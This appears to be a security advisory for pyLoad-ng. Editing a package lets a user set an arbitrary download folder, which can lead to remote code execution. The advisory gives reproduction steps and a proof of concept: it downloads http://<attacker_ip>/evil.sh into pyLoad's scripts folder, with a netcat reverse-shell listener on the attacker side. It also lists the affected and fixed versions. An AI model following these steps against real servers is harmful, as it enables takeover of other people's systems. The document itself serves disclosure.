Описание
Download to arbitrary folder can lead to RCE
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
- Start netcat listener for reverse shells
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Пакеты
pyload-ng
< 0.5.0b3.dev75
0.5.0b3.dev75
Связанные уязвимости
pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.